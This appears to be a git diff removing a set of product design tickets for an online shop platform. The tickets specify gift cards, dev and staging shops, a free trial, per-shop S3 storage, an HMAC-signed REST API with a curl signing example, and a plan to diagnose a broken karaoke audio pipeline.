| `purchaser_email` | `Unicode(256)` | Email of the buyer |
| `gift_email` | `Unicode(256)` | Optional recipient email |
| `invoice_id` | `UUIDType` | FK to Invoice — the purchase transaction |
| `created_timestamp` | `BigInteger` | Milliseconds |
| `disabled` | `Boolean` | Admin kill switch, default False |
Properties:
- `is_valid` — not disabled and balance > 0
- `balance` — `cents_to_dollars(balance_in_cents)`
- `initial_amount` — `cents_to_dollars(initial_amount_in_cents)`
- `shop_uuid_str` — string form of shop_id
Code generation: 16-char uppercase alphanumeric (`secrets.token_hex(8).upper()`),
prefixed with `GC-` for human readability. Example: `GC-A1B2C3D4E5F6G7H8`.
### New model: `MpsGiftCardTransaction`
Tracks every time a gift card balance is used at checkout.
| Column | Type | Notes |
|--------|------|-------|
| `id` | `UUIDType` | PK (uuid1) |
| `gift_card_id` | `UUIDType` | FK to MpsGiftCard |
| `invoice_id` | `UUIDType` | FK to Invoice — the purchase that used the card |
| `amount_in_cents` | `BigInteger` | Amount deducted from balance |
| `created_timestamp` | `BigInteger` | Milliseconds |
### Shop settings columns
Add to Shop model:
| Column | Type | Default |
|--------|------|---------|
| `gift_card_enabled` | `Boolean` | `False` |
| `gift_card_min_in_cents` | `BigInteger` | `500` ($5.00) |
| `gift_card_max_in_cents` | `BigInteger` | `25000` ($250.00) |
### Helper functions
- `get_gift_card_by_code(dbsession, code, shop=None)` — lookup by code, optionally scoped to shop
- `get_gift_card_by_id(dbsession, gift_card_id)` — standard ID lookup
- `get_gift_cards_by_shop(dbsession, shop)` — all cards for a shop (admin view)
## Files Changed
| File | Change |
|------|--------|
| `models/gift_card.py` | New: MpsGiftCard model |
| `models/gift_card_transaction.py` | New: MpsGiftCardTransaction model |
| `models/shop.py` | Add gift_card_enabled, gift_card_min_in_cents, gift_card_max_in_cents |
| `models/__init__.py` | Import new models |
| `scripts/alembic/versions/*_gift_card_tables.py` | Migration: new tables + shop columns |
## Depends On
Nothing. Foundation ticket.

76
docs/tickets/mps-11.md
View file

@ -1,76 +0,0 @@
# MPS-11: Gift Card System — Purchase Flow
## Problem
Buyers need a way to purchase gift cards for a shop. The shop owner sets a
min/max amount range, and the buyer picks any amount within that range using a
slider. The buyer can optionally enter a recipient email address so the gift
card code is delivered to someone else.
## Solution
### Gift card "product" page
Gift cards are not regular products — they are a shop-level feature. A shop with
`gift_card_enabled=True` gets a `/shop/{slug}/gift-card` page.
The page contains:
- Shop name and branding
- Amount slider (range input) with min/max from shop settings
- Manual amount text input (synced with slider for precise entry)
- Optional "Gift to" email field
- Optional gift message (short text, stored on the card)
- "Add to Cart" button
### Cart integration
Gift cards are added to the cart as a special line item. Since they have variable
pricing and are not regular products, they need a different storage approach in
`json_cart`:
Option A: Store gift card items in a separate `json_gift_cards` column on Cart.
Format: `[{"shop_id": "...", "amount_in_cents": 2500, "gift_email": "...", "gift_message": "..."}]`
This keeps gift cards cleanly separated from product line items and avoids
polluting the existing `json_cart` dictionary (which maps product UUIDs to
quantities).
### Checkout
When the cart contains gift card items:
1. Gift card amounts are included in the cart total
2. After successful payment (Stripe, PayPal, or crypto), generate a
`MpsGiftCard` record for each gift card line item
3. Generate the unique code (`GC-` prefix + 16 hex chars)
4. If `gift_email` is provided, send the code to the recipient
5. Always show the code to the purchaser in the order confirmation
### Email delivery
When `gift_email` is set, send a simple email to the recipient containing:
- Shop name
- Gift card amount
- The redemption code
- Optional gift message
- Link to the shop
The email is informational only — the code IS the value. No account required.
## Files Changed
| File | Change |
|------|--------|
| `views/gift_card.py` | New: gift card page + add-to-cart handler |
| `templates/gift_card.j2` | New: gift card purchase page with slider |
| `static/js/gift_card.js` | New: slider/input sync, amount formatting |
| `static/css/common.css` | Gift card page styles (using tokens) |
| `models/cart.py` | Add `json_gift_cards` column, gift card total methods |
| `views/cart.py` | Include gift card totals in checkout flow |
| `views/checkout.py` | Generate MpsGiftCard records after payment |
| `routes.py` | Add `/shop/{slug}/gift-card` route |
| `lib/email.py` | Gift card delivery email template |
| `templates/shop.j2` | "Gift Cards" link when enabled |
## Depends On
MPS-10 (models and migration).

84
docs/tickets/mps-12.md
View file

@ -1,84 +0,0 @@
# MPS-12: Gift Card System — Redemption at Checkout
## Problem
Recipients need to apply a gift card code at checkout, just like a coupon code.
The gift card balance should reduce the cart total for that shop. Partial use is
supported — remaining balance stays on the card for future purchases.
## Solution
### Cart: gift card code entry
Add a "Gift Card" code input field alongside the existing coupon code field on
the cart/checkout page. The flow mirrors coupon application:
1. User enters gift card code
2. Server validates: code exists, belongs to a shop in the cart, has balance, not disabled
3. If valid, attach to cart and show the discount
4. If invalid, show error message
### Cart model changes
Add gift card tracking to the Cart model, parallel to how coupons work:
- New association: `MpsCartGiftCard` (cart_id, gift_card_id) — many-to-many
- `cart.gift_cards` — association proxy to attached gift cards
- Gift card discount is applied AFTER coupon discounts (coupons reduce the
price first, then gift card balance covers the remainder)
### Discount calculation
In `Cart.discounted_shop_totals_in_cents`, after coupon discounts:
```python
# After coupon discounts are applied...
for gift_card in self.gift_cards:
shop_uuid = gift_card.shop_uuid_str
if shop_uuid in self._discounted_shop_totals_in_cents:
current = self._discounted_shop_totals_in_cents[shop_uuid]
deduction = min(gift_card.balance_in_cents, current)
self._discounted_shop_totals_in_cents[shop_uuid] = current - deduction
# Store deduction amount for checkout to record transaction
gift_card._pending_deduction = deduction
```
### Checkout: balance deduction
After successful payment (or if `requires_payment` is False because gift card
covered the full amount):
1. For each attached gift card, deduct `_pending_deduction` from `balance_in_cents`
2. Create a `MpsGiftCardTransaction` record
3. Detach gift card from cart
### Validation
`cart.validate_attached_gift_cards()` checks:
- Gift card is not disabled
- Gift card has balance > 0
- Gift card belongs to a shop in the cart
### Edge cases
- **Gift card covers full amount**: `requires_payment` returns False (total <= 64 cents
after gift card). Checkout proceeds without charging a card, same as a 100% coupon.
- **Gift card + coupon stacking**: Allowed. Coupon applies first (percentage or
dollar off), then gift card balance covers the remaining amount.
- **Multiple gift cards**: A buyer can apply one gift card per shop in the cart
(same constraint as coupons — one per shop keeps it simple).
## Files Changed
| File | Change |
|------|--------|
| `models/cart_gift_card.py` | New: MpsCartGiftCard association model |
| `models/cart.py` | Gift card association proxy, discount integration, validation |
| `views/cart.py` | Gift card code apply/remove handlers |
| `templates/cart.j2` | Gift card code input field, balance display |
| `templates/checkout.j2` | Show gift card discount in order summary |
| `views/checkout.py` | Deduct balance, create transactions on successful checkout |
## Depends On
MPS-10 (models), MPS-11 (gift card records exist to redeem).

74
docs/tickets/mps-13.md
View file

@ -1,74 +0,0 @@
# MPS-13: Gift Card System — Shop Admin & Settings
## Problem
Shop owners need to enable/configure gift cards and view issued cards with
their balances and transaction history.
## Solution
### Shop settings: gift card configuration
New `gift-card-settings` form section in shop settings:
- **Enable Gift Cards** toggle (`gift_card_enabled`)
- **Minimum Amount** input (`gift_card_min_in_cents`, displayed as dollars)
- **Maximum Amount** input (`gift_card_max_in_cents`, displayed as dollars)
Validation:
- Min must be >= $1.00 (100 cents)
- Max must be >= min
- Max must be <= $10,000.00 (1000000 cents) — reasonable upper bound
### Gift card management page
New route: `/shop/{slug}/gift-cards/manage` (shop owner only)
Displays a table of all issued gift cards:
| Code | Amount | Balance | Purchaser | Recipient | Date | Status |
|------|--------|---------|-----------|-----------|------|--------|
Features:
- Sort by date (newest first)
- Show active vs fully redeemed vs disabled
- Click a card to see its transaction history
- Disable/enable toggle per card (admin kill switch)
### Gift card detail view
`/shop/{slug}/gift-cards/{card_id}` (shop owner only)
Shows:
- Card details (code, amounts, emails)
- Transaction history table (date, invoice, amount deducted, remaining balance)
- Disable toggle
### Buyer's gift card view
Buyers who purchase gift cards can see their purchased cards and remaining
balances on their account page. Recipients (who redeem codes) can check balance
by entering the code on the shop's gift card page.
### Balance check
On the gift card purchase page (`/shop/{slug}/gift-card`), add a "Check Balance"
section where anyone can enter a code and see the remaining balance. No account
required — the code IS the identity.
## Files Changed
| File | Change |
|------|--------|
| `views/shop.py` | `gift-card-settings` form handler |
| `views/gift_card.py` | Management page, detail view, balance check |
| `templates/shop_settings.j2` | Gift card settings form section |
| `templates/gift_card_manage.j2` | New: gift card list for shop owner |
| `templates/gift_card_detail.j2` | New: single card detail + transactions |
| `templates/gift_card.j2` | Add balance check section |
| `routes.py` | Add management + detail routes |
| `tests/test_functional.py` | Settings save, gift card CRUD, balance check |
## Depends On
MPS-10 (models), MPS-11 (purchase flow creates cards to manage).

128
docs/tickets/mps-14.md
View file

@ -1,128 +0,0 @@
# MPS-14: Shop Environment — Dev & Stage Shops
## Summary
Add an `environment` column to Shop so owners can create development and staging
shops for practicing thumbnails, videos, product staging, and testing checkout
flows. Non-production shops are fully independent (no sync to production) and
invisible to the public.
Every paid production shop seat includes 2 free dev/stage shops.
## Model Changes
### Shop model (`models/shop.py`)
Add column:
```python
environment = Column(BigInteger, default=0)
# 0 = production (default)
# 1 = staging
# 2 = development
```
Add properties:
```python
@property
def is_production(self):
return self.environment == 0
@property
def is_staging(self):
return self.environment == 1
@property
def is_development(self):
return self.environment == 2
@property
def is_non_production(self):
return self.environment != 0
@property
def environment_label(self):
return {0: "Production", 1: "Staging", 2: "Development"}.get(self.environment, "Production")
```
### Migration
- Add `environment` column to `mps_shop` (BigInteger, server_default="0", NOT NULL)
- Idempotent guard with `_column_exists`
## Exclusion Points
Non-production shops (environment != 0) must be excluded from:
1. **Search results** — `views/shop.py:129` `search()` — filter query to `shop.environment == 0`
2. **Discovery ring** — `models/shop.py:656` `_build_discovery_ring()` — already scoped to shop's own products, but ring should not be reforged for non-production shops
3. **RSS/Atom/Sitemap** — `views/feeds.py:204,222,242` — skip non-production shops entirely (return empty feed or 404)
4. **Subscription digests** — `models/shop_subscription.py` query helpers — filter by `shop.environment == 0`
5. **Public shop listings** — any place shops are listed publicly
Non-production shops still fully function for the owner: product upload, cart,
checkout, settings, analytics — all work normally.
## Banner
Display a persistent environment banner for non-production shops, similar to
the ribbon pattern. In `base.j2` or `snippets/ribbon.j2`:
```html
{% if request.shop and request.shop.is_non_production %}
<div class="environment-banner environment-{{ request.shop.environment_label|lower }}">
{{ request.shop.environment_label }} Shop
</div>
{% endif %}
```
CSS in `common.css`:
- Staging banner: amber/yellow background
- Development banner: blue/purple background
- Always visible, not dismissible
## Settings UI
Add environment selector to shop settings. New form section `environment-settings`
or add to existing `shop-settings` section.
Radio buttons or select:
- Production (default)
- Staging
- Development
Changing from non-production to production should warn: "This shop will become
publicly visible."
## Shop Creation Flow
On `/s/new`, add an optional environment selector (default: production).
This lets users create dev/stage shops directly during onboarding.
## Enforcement: 2 Free Dev/Stage Per Production Shop
Each paid production shop seat entitles the user to 2 free non-production shops.
### Counting logic
```python
def non_production_shop_allowance(user):
production_count = sum(1 for s in user.shops if s.is_production)
allowed_non_production = production_count * 2
current_non_production = sum(1 for s in user.shops if s.is_non_production)
return allowed_non_production - current_non_production
```
### Enforcement points
- **Shop creation** (`views/shop.py` POST `/s/new`): if environment != 0 and
allowance <= 0, flash error and reject
- **Environment change** (`views/shop.py` settings POST): if changing to
non-production and allowance <= 0, reject; if changing to production, always allow
## Tests
- Unit: `test_models.py` — environment properties, environment_label
- Integration: `test_integration.py` — non-production shop excluded from discovery ring query, allowance counting
- Functional: `test_functional.py` — create dev shop, verify search excludes it, verify banner appears, verify allowance enforcement

142
docs/tickets/mps-15.md
View file

@ -1,142 +0,0 @@
# MPS-15: 21-Day Free Trial
## Summary
New shops get a 21-day free trial. Trial includes 1 shop, 1 seat, all features.
After 21 days the shop enters a grace period, then becomes read-only until a
plan is chosen.
## Model Changes
### Shop model (`models/shop.py`)
Add columns:
```python
trial_started_timestamp = Column(BigInteger, nullable=True)
trial_ended = Column(Boolean, default=False)
plan_active = Column(Boolean, default=False)
```
- `trial_started_timestamp`: set to current time (ms) on shop creation
- `trial_ended`: flipped to True when trial expires (background check or request-time check)
- `plan_active`: True when a paid plan is active (billing integration, future ticket)
### Migration
- Add 3 columns to `mps_shop` with idempotent guards
- `trial_started_timestamp` nullable (existing shops get NULL = pre-trial era, treated as paid)
- `trial_ended` server_default="0"
- `plan_active` server_default="0"
### Properties
```python
TRIAL_DURATION_MS = 21 * 24 * 60 * 60 * 1000 # 21 days in milliseconds
@property
def trial_expiry_timestamp(self):
if self.trial_started_timestamp is None:
return None
return self.trial_started_timestamp + self.TRIAL_DURATION_MS
@property
def is_trial_active(self):
if self.plan_active:
return False # paid plan supersedes trial
if self.trial_started_timestamp is None:
return False # pre-trial shop (existing shops)
now = int(time.time() * 1000)
return now < self.trial_expiry_timestamp
@property
def is_trial_expired(self):
if self.plan_active or self.trial_started_timestamp is None:
return False
now = int(time.time() * 1000)
return now >= self.trial_expiry_timestamp
@property
def trial_days_remaining(self):
if not self.is_trial_active:
return 0
remaining_ms = self.trial_expiry_timestamp - int(time.time() * 1000)
return max(0, remaining_ms // (24 * 60 * 60 * 1000))
@property
def is_active(self):
"""Shop can operate: either paid plan or active trial."""
return self.plan_active or self.is_trial_active
```
## Trial Enforcement
### What trial shops CAN do (all features)
- Create products, upload files, set prices
- Accept payments (all 5 methods)
- Use watch mode, analytics, subscriptions, gift cards
- Create 2 dev/stage shops (per MPS-14)
- Full settings access
### What happens when trial expires
- Shop becomes **read-only**: products visible, downloads work for existing purchases
- New purchases blocked (checkout disabled)
- Product creation/editing disabled
- Settings page shows "Trial expired — choose a plan to continue"
- Flash message on every page: "Your 21-day trial has expired. Choose a plan to keep selling."
### Enforcement points
Request-time check (middleware or request method):
```python
def shop_trial_check(request):
shop = request.shop
if shop and shop.is_trial_expired and not shop.plan_active:
# Allow read-only routes, block write routes
...
```
Write routes to block when trial expired:
- Product create/edit/delete
- Checkout completion (all 3 paths: Stripe, PayPal, Adyen)
- Gift card purchase
- Settings changes (except choosing a plan)
Read routes to allow:
- Product view, shop view, search
- Cart view (but not checkout)
- Settings view (read-only, plan selection enabled)
- Download (for existing purchases)
## Trial Banner
In `base.j2`, show trial status for shop owners:
```html
{% if request.shop and request.shop.is_trial_active and request.user in request.shop.owners %}
<div class="trial-banner">
Free trial: {{ request.shop.trial_days_remaining }} days remaining.
<a href="/s/{{ request.shop.id }}/settings#plan">Choose a plan</a>
</div>
{% endif %}
{% if request.shop and request.shop.is_trial_expired and not request.shop.plan_active %}
<div class="trial-banner trial-expired">
Your 21-day trial has expired.
<a href="/s/{{ request.shop.id }}/settings#plan">Choose a plan to keep selling</a>
</div>
{% endif %}
```
## Shop Creation Changes
In `views/shop.py` `shop_new()`:
- Set `shop.trial_started_timestamp = int(time.time() * 1000)` on creation
- Existing shops (NULL timestamp) are grandfathered as paid
## Tests
- Unit: trial properties (is_trial_active, is_trial_expired, trial_days_remaining, is_active)
- Integration: trial shop with real DB, verify expiry behavior
- Functional: create shop, verify trial banner, verify trial countdown

206
docs/tickets/mps-16.md
View file

@ -1,206 +0,0 @@
# MPS-16: Bring Your Own Bucket (BYOB) — Primary S3 Per Shop
## Summary
Allow shops to use their own S3-compatible bucket as the **primary** storage
for all media (products, thumbnails, previews, karaoke tracks). Files are
uploaded directly to the shop's bucket — MPS never stores them on the
platform bucket.
Free trial users must bring their own bucket during onboarding (zero storage
cost for MPS during trial). Paid plan users can use BYOB or the MPS bucket.
## Current Architecture
- All uploads go to MPS DigitalOcean Spaces bucket (global, configured in INI)
- `request.secure_uploads_client` is a single global boto3 client
- Presigned URLs always use `request.app["bucket.secure_uploads.get_endpoint"]`
- Mirror S3 (`shop.mirror_s3_*`) is an async secondary copy
## Target Architecture
- Each shop can optionally specify a **primary** S3 bucket
- If configured, all uploads, presigned URLs, and thumbnail CDN URLs use the shop's bucket
- MPS bucket is never touched for BYOB shops
- Mirror S3 continues to work as a secondary copy (shop can mirror from their primary to another bucket)
## Model Changes
### Shop model (`models/shop.py`)
Reuse existing `mirror_s3_*` columns but add a new flag to indicate primary vs mirror:
```python
primary_s3_enabled = Column(Boolean, default=False)
# When True: mirror_s3_* columns are used as the PRIMARY bucket
# When False: mirror_s3_* columns are used as mirror (current behavior)
```
Or add separate columns for clarity:
```python
primary_s3_endpoint = Column(Unicode(256), nullable=True)
primary_s3_region = Column(Unicode(64), nullable=True)
primary_s3_bucket = Column(Unicode(128), nullable=True)
primary_s3_access_key = Column(Unicode(128), nullable=True)
primary_s3_secret_key = Column(Unicode(128), nullable=True)
primary_s3_cdn_endpoint = Column(Unicode(256), nullable=True) # public CDN URL for thumbnails
primary_s3_enabled = Column(Boolean, default=False)
```
The CDN endpoint is critical — thumbnails and previews use public CDN URLs,
not presigned URLs. The shop owner must configure their bucket's CDN endpoint
(e.g., `https://mybucket.nyc3.cdn.digitaloceanspaces.com`).
### Properties
```python
@property
def has_primary_s3(self):
return bool(
self.primary_s3_enabled
and self.primary_s3_endpoint
and self.primary_s3_bucket
and self.primary_s3_access_key
and self.primary_s3_secret_key
and self.primary_s3_cdn_endpoint
)
@property
def media_cdn_endpoint(self):
"""Return the CDN endpoint for this shop's media."""
if self.has_primary_s3:
return self.primary_s3_cdn_endpoint
return None # caller falls back to request.app default
```
## Request Method Changes
### `request_methods.py`
Add a shop-aware S3 client factory:
```python
def add_shop_uploads_client(request):
"""Return S3 client for the current shop (BYOB or MPS default)."""
shop = request.shop
if shop and shop.has_primary_s3:
import boto3
session = boto3.session.Session()
return session.client(
"s3",
region_name=shop.primary_s3_region,
endpoint_url=shop.primary_s3_endpoint,
aws_access_key_id=shop.primary_s3_access_key,
aws_secret_access_key=shop.primary_s3_secret_key,
)
return request.secure_uploads_client # default MPS bucket
```
Add `request.shop_uploads_client` as a reified request method.
### Bucket name resolution
```python
def get_shop_bucket_name(request):
shop = request.shop
if shop and shop.has_primary_s3:
return shop.primary_s3_bucket
return request.app["bucket.secure_uploads"]
```
Add `request.shop_bucket_name` as a reified request method.
## View Changes
### `views/product.py`
All S3 operations must use `request.shop_uploads_client` and
`request.shop_bucket_name` instead of `request.secure_uploads_client` and
`request.app["bucket.secure_uploads"]`:
- **Presigned GET** (downloads, line 45-83): use shop client + shop bucket
- **Presigned POST** (uploads, line 429-456): use shop client + shop bucket
- **Copy object** (line 344): use shop client + shop bucket
- **Delete object**: use shop client + shop bucket
### Template changes
All thumbnail/media URLs must resolve through the shop's CDN endpoint:
```jinja2
{# Before #}
{{ request.app["bucket.secure_uploads.get_endpoint"] }}/{{ product.s3_path }}/thumbnail1
{# After #}
{{ product.shop.media_cdn_endpoint or request.app["bucket.secure_uploads.get_endpoint"] }}/{{ product.s3_path }}/thumbnail1
```
Affected templates:
- `product.j2` (lines 13, 43, 75, 97, 112, 131-132)
- `cart.j2` (line 124)
- `shop.j2` (thumbnail rendering)
- `content.j2`
- `snippets/related_content.j2`
### `views/watch.py`
Watch mode JSON endpoint (line 96-99) must use shop CDN endpoint:
```python
cdn = shop.media_cdn_endpoint or request.app["bucket.secure_uploads.get_endpoint"]
thumbnail_url = f"{cdn}/{product.s3_path}/thumbnail1?ts={product.updated_timestamp}"
```
### `lib/karaoke.py`
Karaoke downloads/uploads must use shop client + shop bucket.
### `lib/s3_mirror.py`
When primary_s3 is enabled, mirror source becomes the shop's bucket (not MPS).
Mirror destination is still the mirror_s3_* config.
## Settings UI
### New form section: `bucket-settings`
In `shop_settings.j2`, add a "Storage" or "Media Bucket" section:
- Endpoint URL (text input)
- Region (text input)
- Bucket name (text input)
- Access key (text input)
- Secret key (password input)
- CDN endpoint (text input, with help text: "Public URL for thumbnails")
- Enable checkbox
- Test connection button (reuse `test_mirror_connection` pattern)
### Validation
- Endpoint must start with `https://`
- All 6 fields required if any provided
- Connection test: list bucket, attempt a test PUT/GET/DELETE cycle
- CDN endpoint must be reachable (optional HEAD request)
## Onboarding for Trial Users
During shop creation (`/s/new`), after the shop is created and the user is
redirected to `/s/{shop_id}/settings`:
- If trial user (no paid plan), show a prominent "Set Up Storage" step
- Guide them through configuring their S3 bucket
- Trial shops cannot upload files until BYOB is configured
- Provide documentation links for DigitalOcean Spaces, AWS S3, Backblaze B2, MinIO
## Migration
- Add `primary_s3_*` columns (6 columns) to `mps_shop`
- All nullable, `primary_s3_enabled` server_default="0"
- Idempotent guards
## Tests
- Unit: has_primary_s3 property, media_cdn_endpoint property
- Integration: shop with BYOB config, verify client resolution
- Functional: enable BYOB via settings, verify connection test, verify upload uses shop bucket

154
docs/tickets/mps-17.md
View file

@ -1,154 +0,0 @@
# MPS-17: REST API v1 — HMAC-signed product/content creation + file upload
## Purpose
Enable CI/CD pipelines (e.g. permacomputer.com) to programmatically:
- Create products (fiat/crypto priced) or content (free)
- Upload files directly to Spaces via presigned POST
- Confirm uploads and get CDN URLs
## Auth — HMAC public/private key pairs
Each shop has API key pairs. A key pair is:
- `public_key` — `mps_pub_{32 hex}` — identifies the pair, safe to log
- `secret_key` — `mps_sec_{64 hex}` — signs requests, shown **once** on creation
No bearer tokens. The secret never travels over the wire. Every request is
signed with HMAC-SHA256. Replay window: ±300 seconds.
### Signing scheme
```
string_to_sign = "{METHOD}\n{PATH}\n{TIMESTAMP}\n{SHA256_OF_BODY_HEX}"
signature = hmac_sha256(secret_key, string_to_sign).hexdigest()
Request headers:
X-MPS-Key: mps_pub_abc123...
X-MPS-Timestamp: 1712345678
X-MPS-Signature: sha256=abcdef...
```
### Shell example (for CI)
```bash
METHOD=POST
PATH=/api/v1/products
TIMESTAMP=$(date +%s)
BODY='{"title":"Debian permacomputer","description":"...","price":"0.00"}'
BODY_HASH=$(echo -n "$BODY" | sha256sum | awk '{print $1}')
STRING_TO_SIGN="${METHOD}\n${PATH}\n${TIMESTAMP}\n${BODY_HASH}"
SIG=$(echo -n "$STRING_TO_SIGN" | openssl dgst -sha256 -hmac "$MPS_SECRET_KEY" | awk '{print $2}')
curl -X POST https://my.makepostsell.com/api/v1/products \
-H "X-MPS-Key: $MPS_PUBLIC_KEY" \
-H "X-MPS-Timestamp: $TIMESTAMP" \
-H "X-MPS-Signature: sha256=$SIG" \
-H "Content-Type: application/json" \
-d "$BODY"
```
## API Endpoints
```
POST /api/v1/products create product (is_sellable=True)
POST /api/v1/content create content (is_sellable=False)
GET /api/v1/products/{id} get product
GET /api/v1/content/{id} get content
POST /api/v1/products/{id}/upload-url get presigned POST URL for file upload
POST /api/v1/content/{id}/upload-url get presigned POST URL for file upload
POST /api/v1/products/{id}/files/confirm confirm S3 upload, register file, get CDN URL
POST /api/v1/content/{id}/files/confirm confirm S3 upload, register file, get CDN URL
```
### POST /api/v1/products
Request:
```json
{
"title": "Debian permacomputer 6.12 amd64",
"description": "Debian bookworm with CWE-407 patched Linux 6.12 kernel",
"price": "9.99",
"visibility": "public"
}
```
Response 201:
```json
{
"id": "abc123...",
"url": "https://my.makepostsell.com/p/abc123/debian-permacomputer",
"edit_url": "https://my.makepostsell.com/p/abc123/edit"
}
```
### POST /api/v1/content
Same body minus `price`. Response 201 same shape with `/c/` URL.
### POST /api/v1/products/{id}/upload-url
Request:
```json
{
"filename": "debian-permacomputer-6.12-amd64.qcow2",
"content_type": "application/octet-stream"
}
```
Response 200:
```json
{
"upload_url": "https://nyc3.digitaloceanspaces.com/...",
"fields": { "key": "...", "AWSAccessKeyId": "...", ... },
"confirm_path": "/api/v1/products/{id}/files/confirm",
"key": "products/shop_id/product_id/product.qcow2"
}
```
### POST /api/v1/products/{id}/files/confirm
Request:
```json
{
"key": "products/shop_id/product_id/product.qcow2",
"filename": "debian-permacomputer-6.12-amd64.qcow2"
}
```
Response 200:
```json
{
"cdn_url": "https://plan-period-files.nyc3.cdn.digitaloceanspaces.com/..."
}
```
## Shop Settings UI
New section at bottom of `/s/{shop_id}/settings`:
- List active key pairs (label, public key, created date, last used)
- "Generate new key pair" form (label input)
- Secret shown **once** in a flash-style `<output>` element after generation
- Per-key revoke button
Routes:
```
POST /s/{shop_id}/api-keys/generate
POST /s/{shop_id}/api-keys/{key_id}/revoke
```
## Files
| File | Change |
|------|--------|
| `models/api_key.py` | New: `MpsApiKey` model |
| `models/__init__.py` | Import `MpsApiKey` |
| `models/meta.py` | Add `MpsApiKey` to `CLASS_TO_TABLE` |
| `views/api/__init__.py` | HMAC auth: `api_key_required` decorator |
| `views/api/items.py` | All API endpoints |
| `routes.py` | Add API + key management routes |
| `views/shop.py` | `api_keys_generate`, `api_key_revoke` handlers |
| `templates/shop_settings.j2` | API Keys section |
| `alembic/versions/` | Migration: `mps_api_key` table |
| `tests/test_models.py` | `MpsApiKey` unit tests |
| `tests/test_integration.py` | HMAC signing integration tests |
| `tests/test_functional.py` | API endpoint functional tests |

176
docs/tickets/mps-18.md
View file

@ -1,176 +0,0 @@
# MPS-18: Karaoke Mode — Diagnose & Fix Vocal Isolation Pipeline
## Status
**BROKEN in production.** Code paths exist (`lib/karaoke.py`, `lib/voxsplit.c`,
`scripts/backfill_karaoke.py`, on-demand route `POST /karaoke/{product_id}`,
backfill button in shop settings), but end-to-end runs do not produce playable
instrumental + vocal tracks attached to a product. Watch mode toggle never
finds populated karaoke URLs, so listeners never hear it.
## Problem
Karaoke depends on a long chain — every link must hold:
1. Shop has `unsandbox_public_key` + `unsandbox_secret_key` configured
2. Source media reachable via presigned `get_object` from shop bucket
3. Source streams in 64KB chunks to unsandbox `POST /upload` (HMAC-signed
against **empty body** because API skips body parsing for `/upload`)
4. `voxsplit.c` source uploaded the same way (compiled inside container)
5. `POST /execute` references both `upload_id`s, runs voxsplit in zerotrust
container, returns instrumentals + vocals as base64 or upload_ids
6. Output streamed back, written to disk, uploaded to S3 at deterministic
paths under `karaoke/{product_id}/{instrumentals,vocals}.{ext}`
7. Product row updated with karaoke URLs
8. Watch JSON + content/watch templates surface URLs to player.js
9. Player.js toggle swaps audio source between original and instrumentals
A failure at any link looks identical to a user: toggle does nothing.
## Diagnosis Required
Before the fix lands, run a one-shot reproducible test against staging:
| Probe | Expected | Actual |
|-------|----------|--------|
| Shop has unsandbox creds set | yes | ? |
| `POST /upload` with empty-body HMAC succeeds | 200 + `upload_id` | ? |
| `POST /execute` returns instrumentals + vocals | 200 + bytes | ? |
| S3 write to karaoke path succeeds | object exists in bucket | ? |
| `product.karaoke_instrumentals_url` / `_vocals_url` columns populated | URL strings | ? |
| Watch JSON includes `karaoke_*_url` keys | populated when eligible | ? |
| Player toggle swaps audio src | swap occurs | ? |
Log every link with structured records (`karaoke.step=upload_input`,
`step=execute`, `step=mirror_output`, `step=db_write`). A silent failure
upstream is the worst kind — fail-loud at every step.
## Proposal
### 1. Add karaoke health endpoint
`GET /s/{shop_id}/karaoke-health` — owner-only, returns JSON:
```json
{
"credentials_present": true,
"api_reachable": true,
"last_run_at": "2026-05-09T14:00:00Z",
"last_run_status": "success|failed|never",
"last_error": null,
"products_with_karaoke": 12,
"products_eligible": 47
}
```
Backed by a new `MpsKaraokeRun` model row written for every detached run.
### 2. Persist run state
New table `mps_karaoke_run`:
| Column | Type | Purpose |
|--------|------|---------|
| `id` | UUID | row id |
| `shop_id` | UUID FK | shop |
| `product_id` | UUID FK nullable | product (null for backfill batch) |
| `started_timestamp` | int (ms) | run start |
| `finished_timestamp` | int (ms) nullable | run end |
| `status` | int | 0=running 1=success 2=failed 3=cancelled |
| `step` | str | last completed step name |
| `error_message` | UnicodeText nullable | failure detail |
| `bytes_in` | int nullable | source size |
| `bytes_out` | int nullable | output size |
Replaces fire-and-forget invisibility. Owner UI lists last 10 runs per shop.
### 3. Fix the most likely broken link first
Grep current `lib/karaoke.py` for:
- `_sign_body` called with empty string for `/upload` — confirm API still
signs empty body for streaming endpoints. If API changed, signing is wrong.
- `_resolve_credentials(shop, app)` — confirm shop creds picked up before
app fallback, BYOB-aware
- `process_karaoke_detached` double-fork — confirm child survives parent
request teardown (no leaked DB sessions, no closed file handles)
- Output retrieval — confirm we pull from `GET /internal/upload/{id}` not
from base64 in `/execute` response (memory blow-up on 3.6 GB inputs)
### 4. Wire on-demand auto-refresh
`watch.js` already polls every 10s while karaoke is running. Confirm it
flips on completion. If polling is broken, add SSE or a single targeted
refresh after `MpsKaraokeRun.status` flips to success.
### 5. Backfill button for shop owners
`POST /s/{shop_id}/settings` `form_section=backfill-karaoke` exists.
Validate:
- Concurrency capped at unsandbox account's `max_concurrent_executions`
- Per-product idempotency — skip if `karaoke_instrumentals_url` populated
AND mtime newer than source
- Backfill records one `MpsKaraokeRun` per product, not one per batch
## Go-to-Market
| Surface | Action |
|---------|--------|
| `docs/karaoke-pipeline.md` | Update with run-state model + health endpoint |
| `docs/architecture.md` | Add karaoke run table to feature toggle matrix |
| `/styleguide` | Karaoke health card pattern (status + last run + error) |
| `~/git/www.makepostsell.com/index.html` | Feature card: "Vocal isolation, on-demand or batched. No ML deps. Spectral mid-side Wiener masking." |
| `~/git/www.makepostsell.com/pricing.html` | Mention karaoke as included on all paid plans (depends on unsandbox account) |
| Shop settings UI | Health card next to backfill button — show current state without surprise |
## Files
| File | Change |
|------|--------|
| `make_post_sell/models/karaoke_run.py` | New: `MpsKaraokeRun` |
| `make_post_sell/models/__init__.py` | Import `MpsKaraokeRun` |
| `make_post_sell/models/meta.py` | Register in `CLASS_TO_TABLE` |
| `make_post_sell/lib/karaoke.py` | Write `MpsKaraokeRun` rows at every step; harden empty-body HMAC; verify creds at entry |
| `make_post_sell/views/shop.py` | `karaoke_health` route handler |
| `make_post_sell/routes.py` | Add `/s/{shop_id}/karaoke-health` |
| `make_post_sell/templates/shop_settings.j2` | Health card; recent runs list |
| `make_post_sell/static/js/watch.js` | Confirm 10s poll triggers reload on completion; fall back to single refresh on `MpsKaraokeRun` flip |
| `make_post_sell/scripts/alembic/versions/XXXX_mps_karaoke_run_table.py` | Migration with `_table_exists` guard |
| `make_post_sell/tests/test_models.py` | `MpsKaraokeRun` unit tests |
